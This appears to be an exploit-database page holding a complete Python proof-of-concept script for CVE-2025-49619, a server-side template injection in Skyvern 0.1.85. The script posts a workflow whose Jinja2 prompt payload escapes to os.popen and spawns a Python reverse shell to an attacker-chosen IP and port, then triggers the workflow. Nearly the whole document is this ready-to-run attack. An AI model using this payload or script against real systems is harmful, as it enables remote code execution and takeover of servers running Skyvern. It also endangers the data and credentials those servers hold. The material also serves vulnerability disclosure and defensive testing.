3cfac1e6a4
15 changes to exploits/shellcodes/ghdb AirKeyboard iOS App 1.0.5 - Remote Input Injection Parrot and DJI variants Drone OSes - Kernel Panic Exploit Skyvern 0.1.85 - Remote Code Execution (RCE) via SSTI Anchor CMS 0.12.7 - Stored Cross Site Scripting (XSS) Litespeed Cache WordPress Plugin 6.3.0.1 - Privilege Escalation PHP CGI Module 8.3.4 - Remote Code Execution (RCE) Microsoft Excel Use After Free - Local Code Execution PCMan FTP Server 2.0.7 - Buffer Overflow PCMan FTP Server 2.0.7 - Remote Buffer Overflow WebDAV Windows 10 - Remote Code Execution (RCE) Windows 11 SMB Client - Privilege Escalation & Remote Code Execution (RCE)
119 lines
No EOL
4.5 KiB
Python
Executable file
119 lines
No EOL
4.5 KiB
Python
Executable file
# Exploit Title: Skyvern 0.1.85 - Remote Code Execution (RCE) via SSTI
|
|
# Date: 2025-06-15
|
|
# Exploit Author: Cristian Branet
|
|
# Vendor Homepage: https://www.skyvern.com/
|
|
# Software Link: https://github.com/Skyvern-AI/skyvern
|
|
# Version: < 0.1.85, before commit db856cd
|
|
# Tested on: Skyvern Cloud app / Local Skyvern (Linux Ubuntu 22.04)
|
|
# CVE : CVE-2025-49619
|
|
# Article: https://cristibtz.github.io/posts/CVE-2025-49619/
|
|
|
|
'''
|
|
Skyvern's Workflow Editor allows prompt injection via Jinja2 template syntax.
|
|
An attacker with low privileges can inject a malicious payload in a block that contains Prompt section,
|
|
which gets rendered server-side, resulting in blind remote code execution via curl.
|
|
'''
|
|
|
|
import requests, argparse, pyfiglet
|
|
|
|
parser = argparse.ArgumentParser(description="This script exploits CVE-2025-49619 in Skyvern to execute a reverse shell command.", formatter_class=argparse.ArgumentDefaultsHelpFormatter)
|
|
parser.add_argument("-u", "--url", required=True, help="Skyvern URL (e.g., http://example.com:8080)")
|
|
parser.add_argument("-k", "--x-api-key", required=True, help="Go to Skyvern app -> Settings -> API Key -> Reveal and copy the API key")
|
|
parser.add_argument("-i", "--ip", required=True, help="IP address to receive the reverse shell connection")
|
|
parser.add_argument("-p", "--port", required=True, help="Port for the reverse shell connection")
|
|
|
|
def create_exploit_workflow(url, ip, port, x_api_key):
|
|
exploit_workflow = {
|
|
"title": "Exploit",
|
|
"description": "",
|
|
"proxy_location": "RESIDENTIAL",
|
|
"webhook_callback_url": "",
|
|
"persist_browser_session": False,
|
|
"model": None,
|
|
"totp_verification_url": None,
|
|
"workflow_definition": {
|
|
"parameters": [],
|
|
"blocks": [
|
|
{
|
|
"label": "block_1",
|
|
"continue_on_failure": False,
|
|
"block_type": "task_v2",
|
|
"prompt": (
|
|
"{% for x in ().__class__.__base__.__subclasses__() %}\n"
|
|
" {% if 'warning' in x.__name__ %}\n"
|
|
" {{ x()._module.__builtins__['__import__']('os').popen(\n"
|
|
" \"python3 -c 'import socket,os,pty;\"\n"
|
|
" \"s=socket.socket();\"\n"
|
|
f" \'s.connect((\\\"{ip}\\\",{port}));\'\n"
|
|
" \"os.dup2(s.fileno(),0);\"\n"
|
|
" \"os.dup2(s.fileno(),1);\"\n"
|
|
" \"os.dup2(s.fileno(),2);\"\n"
|
|
" \"pty.spawn(\\\"sh\\\")'\"\n"
|
|
" ).read() }}\n"
|
|
" {% endif %}\n"
|
|
"{% endfor %}"
|
|
),
|
|
"url": "",
|
|
"max_steps": 25,
|
|
"totp_identifier": None,
|
|
"totp_verification_url": None
|
|
}
|
|
]
|
|
},
|
|
"is_saved_task": False
|
|
}
|
|
|
|
headers = {
|
|
"Content-Type": "application/json",
|
|
"X-API-Key": x_api_key
|
|
}
|
|
response = requests.post(f"{url}/api/v1/workflows", json=exploit_workflow, headers=headers)
|
|
|
|
if response.status_code == 200:
|
|
print("[+] Exploit workflow created successfully!")
|
|
else:
|
|
print("[-] Failed to create exploit workflow:", response.text)
|
|
return None
|
|
|
|
workflow_permanent_id = response.json().get("workflow_permanent_id")
|
|
|
|
print(f"[+] Workflow Permanent ID: {workflow_permanent_id}")
|
|
|
|
return workflow_permanent_id
|
|
|
|
def run_exploit_workflow(url, x_api_key, workflow_permanent_id):
|
|
|
|
workflow_data = {
|
|
"workflow_id": workflow_permanent_id
|
|
}
|
|
|
|
headers = {
|
|
"Content-Type": "application/json",
|
|
"X-API-Key": x_api_key
|
|
}
|
|
response = requests.post(f"{url}/api/v1/workflows/{workflow_permanent_id}/run", json=workflow_data, headers=headers)
|
|
|
|
if response.status_code == 200:
|
|
print("[+] Exploit workflow executed successfully!")
|
|
else:
|
|
print("[-] Failed to execute exploit workflow:", response.text)
|
|
|
|
|
|
if __name__=="__main__":
|
|
|
|
print("\n")
|
|
print(pyfiglet.figlet_format("CVE-2025-49619 PoC", font="small", width=100))
|
|
print("Author: Cristian Branet")
|
|
print("GitHub: github.com/cristibtz")
|
|
print("Description: This script exploits CVE-2025-49619 in Skyvern to execute a reverse shell command.")
|
|
print("\n")
|
|
|
|
args = parser.parse_args()
|
|
url = args.url
|
|
x_api_key = args.x_api_key
|
|
ip = args.ip
|
|
port = args.port
|
|
|
|
workflow_permanent_id = create_exploit_workflow(url, ip, port, x_api_key)
|
|
|
|
run_exploit_workflow(url, x_api_key, workflow_permanent_id) |